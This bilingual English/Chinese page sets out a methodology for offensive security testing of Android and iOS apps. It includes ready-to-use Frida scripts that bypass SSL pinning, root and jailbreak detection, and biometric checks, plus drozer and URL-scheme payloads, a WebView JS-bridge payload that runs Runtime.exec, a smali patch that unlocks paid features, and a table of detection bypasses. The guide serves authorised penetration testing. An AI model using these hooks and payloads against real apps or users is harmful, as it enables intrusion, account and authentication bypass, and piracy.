offensive-mobile

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Mobile (Android + iOS) — Offensive Testing Methodology

移动应用(Android + iOS)— 攻击性测试方法

Quick Workflow

快速工作流

  1. Static: pull the IPA/APK, decompile, dump resources/strings, identify endpoints
  2. Dynamic: install on rooted/jailbroken device, hook with Frida, intercept TLS
  3. Map exported attack surface: deep links, URL schemes, exported components
  4. Storage / Keystore audit: where do secrets live, what protects them
  5. API: every backend the app talks to is your scope — test like a web app

  1. 静态分析:提取 IPA/APK,反编译,转储资源/字符串,识别端点
  2. 动态分析:安装到已 root/jailbreak 的设备上,使用 Frida 进行 hook,并拦截 TLS
  3. 映射导出的攻击面:deep link、URL scheme、导出组件
  4. 存储/Keystore 审计:密钥存放在哪里、由什么机制保护
  5. API:应用连接的每个后端都属于测试范围——像测试 Web 应用一样进行测试

Lab Setup

实验环境搭建

Android

Android

  • Rooted device or Genymotion / Android Studio AVD with
    userdebug
    build
  • Magisk for systemless root; LSPosed for hooks; Frida server matching device arch
  • Burp / Mitmproxy with system-trusted CA via Magisk module (
    MagiskTrustUserCerts
    )
  • 已 root 的设备,或使用 Genymotion / Android Studio AVD 且采用
    userdebug
    build
  • Magisk 用于实现 systemless root;LSPosed 用于 hooks;使用与设备架构匹配的 Frida server
  • Burp / Mitmproxy,通过 Magisk module(
    MagiskTrustUserCerts
    )安装受系统信任的 CA

iOS

iOS

  • Jailbroken device (palera1n / checkra1n / Dopamine depending on iOS version)
  • Frida + Objection + Filza + SSH via USB (iproxy 2222 22)
  • Burp CA installed via Settings → General → Device Management → Certificate Trust Settings

  • 越狱设备(根据 iOS 版本选择 palera1n / checkra1n / Dopamine)
  • Frida + Objection + Filza + 通过 USB 建立 SSH(iproxy 2222 22)
  • 通过 Settings → General → Device Management → Certificate Trust Settings 安装 Burp CA

Static Analysis

静态分析

Android

Android

bash
undefined
bash
undefined

Decode resources + smali

Decode resources + smali

apktool d app.apk -o app
apktool d app.apk -o app

Decompile to Java

Decompile to Java

jadx -d app_src app.apk
jadx -d app_src app.apk

Manifest review

Manifest review

xmllint --format app/AndroidManifest.xml | less
xmllint --format app/AndroidManifest.xml | less

Look for: android:exported="true", intent-filters, custom permissions, debuggable, allowBackup, networkSecurityConfig

Look for: android:exported="true", intent-filters, custom permissions, debuggable, allowBackup, networkSecurityConfig


```bash

```bash

Secrets and endpoints

Secrets and endpoints

grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/ grep -r "Log.[dwief]" app_src/ # leftover debug logs
grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/ grep -r "Log.[dwief]" app_src/ # leftover debug logs

Native libs

Native libs

file app/lib//.so
file app/lib//.so

RE in Ghidra/IDA; look for JNI_OnLoad and exported Java_* functions

RE in Ghidra/IDA; look for JNI_OnLoad and exported Java_* functions

undefined
undefined

iOS

iOS

bash
undefined
bash
undefined

Pull IPA from device

Pull IPA from device

frida-ios-dump -o app.ipa "com.vendor.app"
frida-ios-dump -o app.ipa "com.vendor.app"

Or via App Store via 3rd-party tools (Apple Configurator with paid acct, etc.)

Or via App Store via 3rd-party tools (Apple Configurator with paid acct, etc.)

unzip app.ipa
unzip app.ipa

Decrypt if needed (jailbroken device): bagbak / clutch

Decrypt if needed (jailbroken device): bagbak / clutch

bagbak com.vendor.app
bagbak com.vendor.app

Class dump

Class dump

class-dump-dyld -H Payload/App.app/App -o headers/
class-dump-dyld -H Payload/App.app/App -o headers/

Or for Swift symbols, use Hopper / IDA

Or for Swift symbols, use Hopper / IDA

Strings / endpoints

Strings / endpoints

strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'

```bash
strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'

```bash

Info.plist analysis

Info.plist analysis

plutil -p Payload/App.app/Info.plist
plutil -p Payload/App.app/Info.plist

Look for: NSAppTransportSecurity exceptions, CFBundleURLTypes (URL schemes),

Look for: NSAppTransportSecurity exceptions, CFBundleURLTypes (URL schemes),

associated-domains entitlements, UIFileSharingEnabled, ATS exemptions

associated-domains entitlements, UIFileSharingEnabled, ATS exemptions


---

- 查找:NSAppTransportSecurity 豁免配置、CFBundleURLTypes(URL schemes)、associated-domains entitlements、UIFileSharingEnabled、ATS 豁免项

---

Dynamic Analysis & Frida

动态分析与 Frida

Common Hooks

常见 Hooks

javascript
// Bypass SSL pinning (Android — generic OkHttp/CertificatePinner/TrustManager)
Java.perform(() => {
  const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
  const TrustManagerFactory = Java.use('javax.net.ssl.TrustManagerFactory');
  // ... full bypass scripts: codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida
});

// Bypass root detection
Java.perform(() => {
  const File = Java.use('java.io.File');
  File.exists.implementation = function () {
    const path = this.getAbsolutePath();
    if (path.includes('su') || path.includes('Magisk')) return false;
    return this.exists();
  };
});

// iOS — bypass jailbreak detection
const stat = Module.findExportByName(null, 'stat');
Interceptor.attach(stat, {
  onEnter(args) {
    const path = args[0].readUtf8String();
    if (/Cydia|jailbreak|substrate|frida/i.test(path)) {
      args[0] = Memory.allocUtf8String('/nonexistent');
    }
  }
});
javascript
// Bypass SSL pinning (Android — generic OkHttp/CertificatePinner/TrustManager)
Java.perform(() => {
  const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
  const TrustManagerFactory = Java.use('javax.net.ssl.TrustManagerFactory');
  // ... full bypass scripts: codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida
});

// Bypass root detection
Java.perform(() => {
  const File = Java.use('java.io.File');
  File.exists.implementation = function () {
    const path = this.getAbsolutePath();
    if (path.includes('su') || path.includes('Magisk')) return false;
    return this.exists();
  };
});

// iOS — bypass jailbreak detection
const stat = Module.findExportByName(null, 'stat');
Interceptor.attach(stat, {
  onEnter(args) {
    const path = args[0].readUtf8String();
    if (/Cydia|jailbreak|substrate|frida/i.test(path)) {
      args[0] = Memory.allocUtf8String('/nonexistent');
    }
  }
});

Objection (Frida-based shortcuts)

Objection(基于 Frida 的快捷方式)

bash
objection -g com.vendor.app explore
bash
objection -g com.vendor.app explore

Then inside:

Then inside:

android sslpinning disable android root disable android hooking list activities android intent launch_activity com.vendor.app/.SecretActivity ios sslpinning disable ios jailbreak disable ios keychain dump

---
android sslpinning disable android root disable android hooking list activities android intent launch_activity com.vendor.app/.SecretActivity ios sslpinning disable ios jailbreak disable ios keychain dump

进入后:

---

SSL / TLS Interception

SSL / TLS 拦截

Android Network Security Config

Android 网络安全配置

App with
<network-security-config>
requiring its own pinned CA: edit
res/xml/network_security_config.xml
, repack:
bash
apktool b app -o app-patched.apk
apksigner sign --ks debug.keystore app-patched.apk
Or live-bypass with Frida (preferred — no recompile).
如果应用通过
<network-security-config>
强制使用自己的 pinned CA,请编辑
res/xml/network_security_config.xml
并重新打包:
bash
apktool b app -o app-patched.apk
apksigner sign --ks debug.keystore app-patched.apk
或者使用 Frida 实时绕过(推荐——无需重新编译)。

iOS ATS / Pinning

iOS ATS / Pinning

For pinning, use Frida hooks against
SecTrustEvaluate*
/
NSURLSession
delegate methods. ATS exceptions in Info.plist (
NSAllowsArbitraryLoads
) make MITM trivial without pinning.

对于 pinning,使用针对
SecTrustEvaluate*
/
NSURLSession
delegate 方法的 Frida hooks。Info.plist 中的 ATS 豁免项(
NSAllowsArbitraryLoads
)会让人在不使用 pinning 的情况下也能轻松实施 MITM。

Exported / IPC Attack Surface

导出/IPC 攻击面

Android — Exported Components

Android——导出组件

bash
drozer console connect
> run app.package.attacksurface com.vendor.app
> run app.activity.start --component com.vendor.app .ExportedActivity \
    --extra string url 'javascript:alert(1)'
> run app.provider.query content://com.vendor.app.provider/secrets
Targets:
  • exported="true"
    activities → call from another app, bypass auth
  • ContentProviders without
    grantUriPermissions
    → arbitrary read
  • Receivers handling
    BOOT_COMPLETED
    etc. with privileged actions
  • Services bound by intent extras → command injection
bash
drozer console connect
> run app.package.attacksurface com.vendor.app
> run app.activity.start --component com.vendor.app .ExportedActivity \
    --extra string url 'javascript:alert(1)'
> run app.provider.query content://com.vendor.app.provider/secrets
测试目标:
  • exported="true"
    activities → 可从另一个应用调用,从而绕过身份验证
  • 未配置
    grantUriPermissions
    的 ContentProviders → 可被任意读取
  • 处理
    BOOT_COMPLETED
    等广播并执行特权操作的 Receivers
  • 通过 intent extras 绑定的 Services → 命令注入

Intent Redirection / PendingIntent Hijack

Intent 重定向/PendingIntent 劫持

java
// Vulnerable: PendingIntent with implicit Intent given to untrusted app
PendingIntent.getActivity(this, 0, new Intent(), FLAG_MUTABLE)
// Attacker fills the empty Intent → action runs with victim app's identity
java
// Vulnerable: PendingIntent with implicit Intent given to untrusted app
PendingIntent.getActivity(this, 0, new Intent(), FLAG_MUTABLE)
// Attacker fills the empty Intent → action runs with victim app's identity

iOS — URL Schemes / Universal Links

iOS——URL Schemes / Universal Links

bash
undefined
bash
undefined

Open custom scheme (test from another app)

Open custom scheme (test from another app)

plutil -p Payload/App.app/Info.plist | grep -A 5 CFBundleURLTypes
plutil -p Payload/App.app/Info.plist | grep -A 5 CFBundleURLTypes

Then on device:

Then on device:

xcrun simctl openurl booted "vendorapp://payment?to=ATTACKER&amount=9999"

Universal Links: check `apple-app-site-association` on the linked domain — open redirect on that domain → universal-link claim → in-app webview navigation.
xcrun simctl openurl booted "vendorapp://payment?to=ATTACKER&amount=9999"

Universal Links:检查关联域名上的 `apple-app-site-association`——该域名存在开放重定向 → 即可声明 universal link → 在应用内 WebView 中导航。

iOS XPC / Mach Services

iOS XPC / Mach Services

launchctl list | grep com.vendor
enumerates the app's launch services. XPC handlers without proper audit-token validation accept messages from any process.

launchctl list | grep com.vendor
可枚举应用的 launch services。审计令牌验证不充分的 XPC handlers 会接受来自任意进程的消息。

Insecure Data Storage

不安全的数据存储

Android

Android

bash
undefined
bash
undefined

On device (root), pull app data

On device (root), pull app data

adb shell "su -c 'tar -cz /data/data/com.vendor.app'" > app_data.tgz

Inspect:
- `shared_prefs/*.xml` — preferences in plaintext
- `databases/*.db` — SQLite (use `sqlite3` to dump)
- `files/` — arbitrary writes
- `cache/` and external storage (`sdcard/Android/data/...`) — often readable across apps
adb shell "su -c 'tar -cz /data/data/com.vendor.app'" > app_data.tgz

检查以下内容:
- `shared_prefs/*.xml`——以明文存储的首选项
- `databases/*.db`——SQLite(使用 `sqlite3` 转储)
- `files/`——可写入任意文件
- `cache/` 和外部存储(`sdcard/Android/data/...`)——通常可被其他应用读取

Android Keystore Misuse

Android Keystore 误用

  • Keys created without
    setUserAuthenticationRequired(true)
    → use any time process is running
  • AES-GCM with reused IV (devs often hardcode IV)
  • RSA without proper padding (PKCS1 v1.5 vs OAEP)
  • 创建密钥时未设置
    setUserAuthenticationRequired(true)
    → 只要进程正在运行即可使用
  • AES-GCM 重复使用 IV(开发者经常硬编码 IV)
  • RSA 未使用适当的 padding(PKCS1 v1.5 与 OAEP)

iOS Keychain

iOS Keychain

bash
undefined
bash
undefined

Objection

Objection

ios keychain dump
ios keychain dump

Look for kSecAttrAccessible values:

Look for kSecAttrAccessible values:

AlwaysThisDeviceOnly → readable when phone locked (bad for secrets)

AlwaysThisDeviceOnly → readable when phone locked (bad for secrets)

WhenUnlocked → standard

WhenUnlocked → standard

AlwaysThisDeviceOnly → bypasses screen lock

AlwaysThisDeviceOnly → bypasses screen lock


iOS Data Protection classes: NSFileProtectionNone files are readable on a jailbroken device even when locked.

---

iOS Data Protection 类别:NSFileProtectionNone 文件在越狱设备上即使处于锁屏状态也可读取。

---

WebView Vulnerabilities

WebView 漏洞

Android
addJavascriptInterface

Android
addJavascriptInterface

If the app exposes a JS bridge with reflection-capable objects, JS in any loaded page = arbitrary Java method invocation.
javascript
// In a page loaded by the WebView
JSBridge.getClass().forName('java.lang.Runtime')
  .getMethod('exec', String).invoke(JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')
如果应用暴露了包含可反射对象的 JS bridge,那么任意加载页面中的 JS 都可调用任意 Java 方法。
javascript
// In a page loaded by the WebView
JSBridge.getClass().forName('java.lang.Runtime')
  .getMethod('exec', String).invoke(JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')

file:// and Content://

file:// 和 Content://

WebView with
setAllowFileAccessFromFileURLs(true)
+ a HTML attachment that the user opens → reads any file the app can.
WebView 设置
setAllowFileAccessFromFileURLs(true)
,且用户打开某个 HTML 附件 → 可读取应用有权访问的任意文件。

iOS WKWebView

iOS WKWebView

  • WKWebViewConfiguration.preferences.javaScriptCanOpenWindowsAutomatically
  • wkScriptMessageHandler
    exposed — same JS bridge concern as Android
  • File URL load with
    loadFileURL
    and broad
    allowingReadAccessTo
    directory

  • WKWebViewConfiguration.preferences.javaScriptCanOpenWindowsAutomatically
  • 暴露
    wkScriptMessageHandler
    ——与 Android 相同的 JS bridge 风险
  • 使用
    loadFileURL
    加载 file URL,且
    allowingReadAccessTo
    指向范围过宽的目录

Biometric / Auth Bypass

生物识别/身份验证绕过

Android BiometricPrompt

Android BiometricPrompt

Apps using BiometricPrompt without binding the cryptographic operation to authentication can be bypassed by hooking the result callback.
javascript
Java.perform(() => {
  const Cb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
  Cb.onAuthenticationSucceeded.implementation = function (r) {
    return this.onAuthenticationSucceeded(r);  // accept whatever
  };
  Cb.onAuthenticationFailed.implementation = function () { /* ignore */ };
});
使用 BiometricPrompt 但未将加密操作绑定到身份验证的应用,可以通过 hook 结果回调绕过验证。
javascript
Java.perform(() => {
  const Cb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
  Cb.onAuthenticationSucceeded.implementation = function (r) {
    return this.onAuthenticationSucceeded(r);  // accept whatever
  };
  Cb.onAuthenticationFailed.implementation = function () { /* ignore */ };
});

iOS LAContext

iOS LAContext

evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics)
— if the app trusts the boolean result without using a Keychain item bound to biometrics, you can flip it.
javascript
const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
  onEnter(args) {
    const cb = new ObjC.Block(args[4]);
    const orig = cb.implementation;
    cb.implementation = function(success, err) { orig.call(this, true, NULL); };
  }
});
The fix on the dev side is to use a biometric-bound key in the Keychain — the bypass above doesn't yield key access.

evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics)
——如果应用仅信任布尔结果,而未使用绑定生物识别功能的 Keychain item,则可以将其翻转。
javascript
const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
  onEnter(args) {
    const cb = new ObjC.Block(args[4]);
    const orig = cb.implementation;
    cb.implementation = function(success, err) { orig.call(this, true, NULL); };
  }
});
开发侧的修复方案是在 Keychain 中使用绑定生物识别的密钥——上述绕过方式无法取得密钥访问权限。

Firebase / Cloud Misconfig (highest hit-rate)

Firebase/云配置错误(命中率最高)

Firebase Realtime DB (still common)

Firebase Realtime DB(仍然常见)

Pull URL from app:
bash
strings app.apk | grep -E "https://[a-z0-9-]+\.firebaseio\.com"
从应用中提取 URL:
bash
strings app.apk | grep -E "https://[a-z0-9-]+\.firebaseio\.com"

Test for unauth read

Test for unauth read

If returns data → unauth read

If returns data → unauth read

undefined
undefined

Firestore

Firestore

Rules misconfigured to
allow read, write: if true;
— visible in app's REST calls. Test with anon SDK or direct REST.
规则被错误配置为
allow read, write: if true;
——可在应用的 REST 调用中看到。使用匿名 SDK 或直接通过 REST 进行测试。

S3 / GCS / Azure Blob

S3 / GCS / Azure Blob

Unsigned URLs in API responses, or bucket names guessable from app package — test public-read, public-write, ACL.
API response 中包含未签名 URL,或者 bucket 名称可根据应用包名推测——测试 public-read、public-write 和 ACL。

Embedded API Keys

Embedded API Keys

Google Maps key restricted properly? Stripe publishable vs secret? Twilio? AWS access keys in plaintext (still happens) → cloud takeover.
bash
truffleHog filesystem app_src/
gitleaks detect --source app_src/

Google Maps key 是否正确限制?Stripe key 是 publishable 还是 secret?Twilio?明文中的 AWS access key(这种情况仍会发生)→ 接管云资源。
bash
truffleHog filesystem app_src/
gitleaks detect --source app_src/

Mobile API Testing

移动 API 测试

The backend is the same as a web app — pivot to web/API methodology once you've extracted the endpoints. Things specific to mobile:
  • Device-bound headers (
    X-Device-ID
    ,
    X-App-Version
    ,
    X-Signature
    ) often calculable client-side. Pull the algorithm from the binary.
  • Request signing: HMAC with key embedded in app → game over, sign anything.
  • Mobile-only endpoints that skip rate limiting because they're "behind app authentication"
  • Older API versions still alive:
    /api/v1/...
    retired in newer app, server still serving with weaker auth.
  • Push notification topics: subscribing to
    /topics/<predictable>
    may receive messages meant for others (Firebase Messaging).

后端与 Web 应用相同——提取出端点后,转用 Web/API 方法学。移动端特有的内容包括:
  • 设备绑定请求头(
    X-Device-ID
    、
    X-App-Version
    、
    X-Signature
    )通常可在客户端自行计算。从二进制文件中提取算法。
  • 请求签名:HMAC 的 key 嵌入在应用中 → 轻松伪造任意请求。
  • 仅限移动端的端点可能因为被认为处于“应用身份验证之后”而跳过速率限制
  • 旧版 API 仍然可用:新版应用已停用
    /api/v1/...
    ,但服务器仍在提供使用较弱身份验证的服务
  • Push notification topics:订阅
    /topics/<predictable>
    可能收到原本发给其他用户的消息(Firebase Messaging)

App Tampering & Repackaging

应用篡改与重新打包

bash
undefined
bash
undefined

Patch a check (e.g. premium=true)

Patch a check (e.g. premium=true)

Smali edit

Smali edit

sed -i 's/return-void/const/4 v0, 0x1\n return v0/' app/smali/com/vendor/Premium.smali apktool b app -o patched.apk apksigner sign --ks debug.keystore patched.apk adb install -r patched.apk

For commercial bypasses, use **LSPosed module** so original APK isn't modified — bypasses signature checks that lock down repackaged variants.

---
sed -i 's/return-void/const/4 v0, 0x1\n return v0/' app/smali/com/vendor/Premium.smali apktool b app -o patched.apk apksigner sign --ks debug.keystore patched.apk adb install -r patched.apk

对于商业功能绕过,使用 **LSPosed module**,这样无需修改原始 APK——可绕过锁定重打包变体的签名检查。

---

iOS Specifics

iOS 专项

Entitlements

Entitlements

bash
codesign -d --entitlements - Payload/App.app/App
Look for:
keychain-access-groups
(cross-app keychain),
com.apple.security.application-groups
(shared containers),
com.apple.developer.associated-domains
(universal links), private entitlements (rare).
bash
codesign -d --entitlements - Payload/App.app/App
查找:
keychain-access-groups
(跨应用 Keychain)、
com.apple.security.application-groups
(共享容器)、
com.apple.developer.associated-domains
(universal links)、私有 entitlements(较少见)。

URL Schemes from Other Apps

从其他应用调用 URL Schemes

objc
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"vendorapp://..."]];
Any app can invoke any registered URL scheme. Validate sender? Most don't.
objc
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"vendorapp://..."]];
任何应用都可以调用任何已注册的 URL scheme。是否验证发送方?大多数应用并未验证。

App Groups Shared Container

App Groups 共享容器

/private/var/mobile/Containers/Shared/AppGroup/<UUID>/
Multiple apps from same vendor share — secrets here cross app boundary.

/private/var/mobile/Containers/Shared/AppGroup/<UUID>/
同一供应商的多个应用会共享该目录——此处存储的 secrets 可跨越应用边界。

Detection / Defender View

检测/防御方视角

DetectorBypass
Frida server detection (port 27042 open)Run frida-server on alt port, use
frida -H
Magisk detection via
/sbin/magisk
Magisk Hide / DenyList
Emulator detectionRun on real device, or stub
Build.FINGERPRINT
etc.
iOS jailbreak detection (file existence)Frida hook
stat
/
fopen
/
dlopen
Anti-debug
ptrace(PT_DENY_ATTACH)
Frida-stalker-based, or kernel patch
Certificate pinningFrida universal pinning bypass
App attestation (Play Integrity / DeviceCheck)Hard — usually requires server-side bypass or app attestation token relay

检测机制绕过方法
Frida server 检测(端口 27042 已开放)在备用端口运行 frida-server,使用
frida -H
通过
/sbin/magisk
检测 Magisk
Magisk Hide / DenyList
模拟器检测在真实设备上运行,或 stub
Build.FINGERPRINT
等
iOS jailbreak 检测(检查文件是否存在)Frida hook
stat
/
fopen
/
dlopen
反调试
ptrace(PT_DENY_ATTACH)
基于 Frida-stalker,或进行内核补丁
Certificate pinningFrida 通用 pinning 绕过
App attestation(Play Integrity / DeviceCheck)难度较高——通常需要服务端绕过或 app attestation token 中继

Engagement Checklist

测试项目检查清单

[ ] Pull IPA/APK from device
[ ] Decompile / class-dump
[ ] Grep for endpoints, keys, tokens
[ ] Manifest / Info.plist review
[ ] Static-find exported components, deep links, URL schemes
[ ] Install on rooted/jailbroken; configure Frida
[ ] Bypass pinning, MITM all traffic
[ ] Test every API the app calls (web methodology)
[ ] Test exported components from another app / drozer / runtime
[ ] Inspect on-device storage (sharedprefs, sqlite, keychain)
[ ] Test biometric flows for unbound auth
[ ] Test deep links / URL schemes for auth bypass / open redirect / IDOR
[ ] Cloud config: Firebase rules, S3 buckets, signed URLs
[ ] Push topics / subscription model
[ ] Device-binding / signing scheme analysis

[ ] Pull IPA/APK from device
[ ] Decompile / class-dump
[ ] Grep for endpoints, keys, tokens
[ ] Manifest / Info.plist review
[ ] Static-find exported components, deep links, URL schemes
[ ] Install on rooted/jailbroken; configure Frida
[ ] Bypass pinning, MITM all traffic
[ ] Test every API the app calls (web methodology)
[ ] Test exported components from another app / drozer / runtime
[ ] Inspect on-device storage (sharedprefs, sqlite, keychain)
[ ] Test biometric flows for unbound auth
[ ] Test deep links / URL schemes for auth bypass / open redirect / IDOR
[ ] Cloud config: Firebase rules, S3 buckets, signed URLs
[ ] Push topics / subscription model
[ ] Device-binding / signing scheme analysis

Key References

主要参考资料